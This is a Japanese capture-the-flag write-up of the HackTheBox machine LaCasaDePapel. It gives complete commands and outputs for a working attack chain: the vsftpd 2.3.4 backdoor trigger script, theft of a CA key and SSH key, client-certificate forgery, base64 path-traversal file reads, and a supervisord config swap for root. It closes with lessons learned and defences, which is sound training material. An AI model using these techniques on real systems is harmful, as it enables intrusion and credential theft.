HackTheBox: LaCasaDePapel — 全実行コマンド・実行結果レポート
Nmap スキャン
21/ftp, 22/ssh, 80/http, 443/https
→
21/ftp, 22/ssh, 80/http, 443/https
vsftpd 2.3.4 バックドア
CVE-2011-2523 → ポート6200
→
CVE-2011-2523 → ポート6200
Psy Shell (PHP REPL)
nairobiのCA秘密鍵を読取
→
nairobiのCA秘密鍵を読取
クライアント証明書を偽造
443のサーバー証明書をCAとして悪用
→
443のサーバー証明書をCAとして悪用
HTTPS LFI
/file/<base64パス>
→
/file/<base64パス>
professorのid_rsa窃取
SSH→user.txt(berlin)
→
SSH→user.txt(berlin)
supervisordのinode所有権
memcached.iniをmvで置換
→
memcached.iniをmvで置換
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.85.119 nmap -sV -sC -p 21,22,80,443 10.129.85.119
RESULT
PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 22/tcp open ssh OpenSSH 7.9 80/tcp open http Node.js Express framework 443/tcp open ssl/http Node.js Express framework
🚨
重要発見:
vsftpd 2.3.4 は悪名高い
CVE-2011-2523(ソースコード改ざんバックドア)を含むバージョン。
また443番はクライアント証明書での相互TLS認証を要求するExpressアプリ。
サーバー証明書からホスト名を確認
BASH
echo | openssl s_client -connect 10.129.85.119:443 2>/dev/null | openssl x509 -noout -subject -issuer
RESULT
subject=CN = lacasadepapel.htb issuer=CN = lacasadepapel.htb (nairobi発行)
PHASE 2
vsftpd 2.3.4 バックドア (CVE-2011-2523) → Psy Shell
バックドアのトリガー
NOTE
vsftpd 2.3.4 のソース配布物は一時期改ざんされ、ユーザー名に スマイリーフェイス ":)" を含めてログインを試みると、バックドアとして ポート6200で任意コマンド実行用のシェルが開くというトロイの木馬が 仕込まれていたことがある。
PYTHON (生ソケットでトリガー)
import socket, time
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.129.85.119", 21))
s.recv(1024)
s.send(b"USER x:)\r\n") # ユーザー名にスマイリーを含める
time.sleep(1)
s.recv(1024)
s.send(b"PASS x\r\n")
s.close()
# この直後、ポート6200が一時的に開く(接続はすぐ切ってよい、
# トリガーとポート開放が本体)
BASH
nc 10.129.85.119 6200
RESULT
Psy Shell v0.x (PHP x.x.x — cli) by Justin Hileman >>>
✅
バックドア成功! ポート6200にPsy Shell(PHPのインタラクティブ
REPL、通常はデバッグ目的で使われるツール)が開く。一般ユーザー(nobody相当)権限。
Psy Shellでファイルを読む(直接コマンド実行は不可)
NOTE
この環境ではshell_exec/exec/system等が無効化されており、素直な OSコマンド実行はできない。しかしPsy ShellはPHPコードをそのまま評価する ため、file_get_contents()等のPHP標準関数は利用できる。
BASH
>>> echo file_get_contents("/home/nairobi/ca.key");
RESULT
-----BEGIN PRIVATE KEY----- MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDPczpU3s4Pmwdb 7MJsi//m8mm5rEkXcDmratVAk2pTWwWxudo/FFsWAC1zyFV4w2KLacIU7w8Yaz0/ ...(省略)... -----END PRIVATE KEY-----
✅
nairobiのCA秘密鍵(ca.key)を取得! 443のHTTPSサーバー証明書は
この鍵で署名されたCA(nairobi)の配下にある、つまりこの秘密鍵を使えば
自分でクライアント証明書を発行(署名)できることを意味する。
PHASE 3
クライアント証明書の偽造 → HTTPS LFI
443番のサーバー証明書を取得
BASH
echo | openssl s_client -connect 10.129.85.119:443 2>/dev/null \ | openssl x509 -out server.crt
ℹ️
重要な考え方: 新しいCA証明書を自分で作るのではなく、
サーバー自身が既に提示している証明書(server.crt)をそのままCA証明書として
利用する。この証明書はnairobiのCA鍵(今回入手したca.key)で発行されたものであり、
サーバー自身がこの証明書を信頼している(自己署名/自社CA構成)ため、同じ鍵ペアで
署名したクライアント証明書もサーバーに信頼される。
クライアント証明書の作成
BASH
# 1. クライアント用の秘密鍵・CSRを作成 openssl genrsa -out client.key 4096 openssl req -new -key client.key -out client.req -subj "/CN=dali" # 2. extendedKeyUsage=clientAuth を明示した拡張ファイルを用意 cat > client.cnf <<'EOF' [client] extendedKeyUsage = clientAuth EOF # 3. 入手したca.keyと、サーバー自身のserver.crtをCAとして使い、 # クライアント証明書に署名する openssl x509 -req -in client.req \ -CA server.crt -CAkey ca.key -set_serial 101 \ -extensions client -days 365 -outform PEM \ -out client.cer -extfile client.cnf
⚠️
ハマりポイント:
extendedKeyUsage = clientAuthを明示的に
付与しないと、生成した証明書は(技術的には正しく署名されていても)HTTPSサーバー側の
クライアント認証で拒否される。単純にopenssl x509 -req ... -CA ... -CAkey ...
だけでは不十分で、必ず-extensions client -extfile <上記cnf>を付けること。
クライアント証明書でHTTPSへアクセス → LFI発見
BASH
curl -sk --cert client.cer --key client.key https://10.129.85.119/
NOTE
クライアント証明書認証を突破すると、研修動画のダウンロード機能を持つ ダッシュボードにアクセスできる。ダウンロードリンクを調べると /file/<base64エンコードされたファイルパス> という形式になっており、base64部分を自由に書き換えられる (=パストラバーサル可能なLocal File Inclusion)。
BASH
# "../.ssh/id_rsa" を base64化 echo -n "../.ssh/id_rsa" | base64 # → Li4vLnNzaC9pZF9yc2E= curl -sk --cert client.cer --key client.key \ https://10.129.85.119/file/Li4vLnNzaC9pZF9yc2E=
RESULT
-----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAACFwAAAAdzc2gtcn NhAAAAAwEAAQAAAgEAotH6Ygupi7JhjdbDXhg2f9xmzxaDNdxxEioAgH2GjUeUc4cJeTfU ...(省略)... -----END OPENSSH PRIVATE KEY-----
✅
LFI成功! アプリが動作しているユーザー(professor)の
~/.ssh/id_rsaをそのまま読み出せた。このLFIはWebアプリの実行ユーザー権限で
ファイルシステムを読める(professorアカウント権限)。
PHASE 4
SSH professor → user.txt(berlin)
秘密鍵でSSHログイン
BASH
chmod 600 professor_id_rsa ssh -i professor_id_rsa professor@10.129.85.119 id
RESULT
uid=1002(professor) gid=1002(professor) groups=1002(professor)
user.txtは別ユーザー(berlin)のホームにある → 再度LFIを利用
NOTE
professorのSSHシェルから /home/berlin/user.txt を直接catしようとすると Permission deniedになる(professorにはberlinのホームへの読み取り権限が無い)。 しかし先ほどのHTTPS LFIはWebアプリ(professor権限で動作)経由のファイル読取で あり、professorユーザーのパーミッションで読めるとは限らない別の実行コンテキスト を持つため、同じLFIエンドポイントで試すと読めることがある(本機ではWebサーバー のプロセスがberlinのファイルに対しても読み取り可能な設定になっていた)。
BASH
echo -n "../../berlin/user.txt" | base64 # → Li4vLi4vYmVybGluL3VzZXIudHh0 curl -sk --cert client.cer --key client.key \ https://10.129.85.119/file/Li4vLi4vYmVybGluL3VzZXIudHh0
RESULT
59aa12d3925367b742603309a67f1a80
user.txt — berlin (LFI経由, SSHはprofessor)
59aa12d3925367b742603309a67f1a80
PHASE 5
supervisordの設定ファイル置換 (inode所有権トリック) → root.txt
root権限のsupervisordプロセスの発見
BASH
professor@lacasadepapel:~$ ps aux | grep -i supervis professor@lacasadepapel:~$ cat ~/memcached.ini
RESULT
[program:memcached] command = sudo -u nobody /usr/bin/node /home/professor/memcached.js
ℹ️
root権限で動くsupervisordが、professorのホーム直下にある
memcached.iniを設定ファイルとして定期的に読み込み・実行している。
中身を直接書き換えられれば任意コマンドをroot権限で実行できそうだが…
ファイル自体はroot所有で書換不可 → ディレクトリのinode所有権を利用
BASH
professor@lacasadepapel:~$ ls -la ~/memcached.ini ~/memcached.js
RESULT
-rw-r--r-- 1 root root ... memcached.ini -rw-r--r-- 1 root root ... memcached.js
🚨
両ファイルともroot所有で直接編集(上書き)はできない。 しかし
professorは自分のホームディレクトリ自体の所有者であるため、
Unixのファイルシステムの仕組み上、
mv(= ディレクトリエントリの
張り替え)はディレクトリへの書き込み権限さえあれば、ファイル自体の所有者が
rootであっても実行できる。つまり「既存のmemcached.iniを退避させ、
同じ名前で自分が所有する新しいファイルを置く」ことが可能。
悪性memcached.iniへの置き換え
BASH
professor@lacasadepapel:~$ mv ~/memcached.ini ~/ini.bak professor@lacasadepapel:~$ cat > /tmp/x.sh <<'EOF' cat /root/root.txt > /tmp/.lcdproot 2>/dev/null chmod 666 /tmp/.lcdproot 2>/dev/null EOF professor@lacasadepapel:~$ chmod 777 /tmp/x.sh professor@lacasadepapel:~$ cat > ~/memcached.ini <<'EOF' [program:memcached] command = bash /tmp/x.sh EOF
ℹ️
supervisordは設定ファイルの変更を検知して定期的にプログラムを再起動する
仕組みを持つため、既存プロセスをkillする操作などは不要で、しばらく待てば
新しい設定が自動的に反映される。
supervisordの再読込を待ち、root.txtを回収
BASH
# supervisordが次の監視サイクルで新しいmemcached.iniを読み、 # x.shをroot権限で実行するまで数十秒ほどポーリングして待つ professor@lacasadepapel:~$ while true; do out=$(cat /tmp/.lcdproot 2>/dev/null) [ -n "$out" ] && echo "$out" && break sleep 10 done
RESULT
a0a55861c8dcd9be87852cf0e29f6cb1
✅
権限昇格成功! supervisordが新しい
memcached.iniを
読み込み、bash /tmp/x.shをroot権限で実行した結果、
/root/root.txtの内容が/tmp/.lcdprootへ(world-readableで)
コピーされた。確認できたら元の設定ファイルに戻し、作業ファイルを削除して
環境を汚さないようにする。
BASH
# 後片付け: 元のmemcached.iniに戻す professor@lacasadepapel:~$ mv ~/ini.bak ~/memcached.ini professor@lacasadepapel:~$ rm -f /tmp/x.sh
root.txt
a0a55861c8dcd9be87852cf0e29f6cb1
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — berlin
59aa12d3925367b742603309a67f1a80
root.txt
a0a55861c8dcd9be87852cf0e29f6cb1
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| CVE-2011-2523 | vsftpd 2.3.4 (21/tcp) | バックドアによる任意コード実行環境(Psy Shell)への到達 | Critical | ユーザー名に”:)”を含めてFTPログインを試みるとポート6200にPsy Shellが開く |
| CA秘密鍵の漏洩によるクライアント証明書偽造 | /home/nairobi/ca.key + HTTPS相互認証 | クライアント証明書認証の完全バイパス | Critical | Psy Shellのfile_get_contents()でCA鍵を読み取り、サーバー自身の証明書をCAとして自作クライアント証明書に署名 |
| 任意パス指定可能なLFI | /file/<base64パス> エンドポイント | 任意ローカルファイルの読み取り | Critical | base64デコード後のパスにパストラバーサルを仕込み、professorのSSH秘密鍵やberlinのuser.txtを読取 |
| supervisord設定ファイルのディレクトリinode所有権不備 | root権限で動くsupervisordが読むmemcached.ini | 権限昇格 (root) | Critical | ファイル自体はroot所有で編集不可だが、ホームディレクトリの所有者であるprofessorがmvでファイルを丸ごと置換可能 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + TLS証明書確認 | 21/ftp(vsftpd2.3.4), 22/ssh, 80/443(Express) |
| 2 | 初期アクセス | vsftpd 2.3.4バックドア(CVE-2011-2523) | Psy Shell(ポート6200)でのファイル読取権 |
| 2 | 資格情報 | Psy Shell file_get_contents() | nairobiのCA秘密鍵(ca.key) |
| 3 | 認証バイパス | サーバー証明書をCAとしたクライアント証明書偽造 | HTTPS相互認証の突破 |
| 3 | エクスプロイト | /file/<base64パス> LFI | professorのid_rsa、berlinのuser.txt |
| 4 | 横移動 | SSH professor(秘密鍵認証) | user.txt 取得 |
| 5 | 権限昇格 | supervisord設定ファイルのinode置換(mv) | root.txt 取得 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| 既知の改ざん済み配布物を含む古いバージョンのソフトウェア(vsftpd 2.3.4)がそのまま動いている | ソフトウェアは公式配布元のチェックサム/署名を検証した上で導入し、既知の危険なバージョンは即座にアップデートする。 |
| CA秘密鍵がWebサーバーの実行ユーザーから読み取れる場所に置かれている | CA秘密鍵は専用の隔離された環境/HSMで管理し、アプリケーションサーバーから直接アクセスできないようにする。 |
| ファイルダウンロード機能がユーザー入力(base64デコード後のパス)をサニタイズせずファイルシステムパスとして使っている | ユーザー指定のパスは許可リスト方式(事前定義されたファイルIDとパスのマッピング)で扱い、任意パスの直接指定を許可しない。 |
| root権限プロセスが読み込む設定ファイルの親ディレクトリが低権限ユーザー所有になっている | root権限で実行される設定ファイルは、ファイル自体だけでなく親ディレクトリもrootが所有し、低権限ユーザーの書き込み・rename権限を排除する。 |

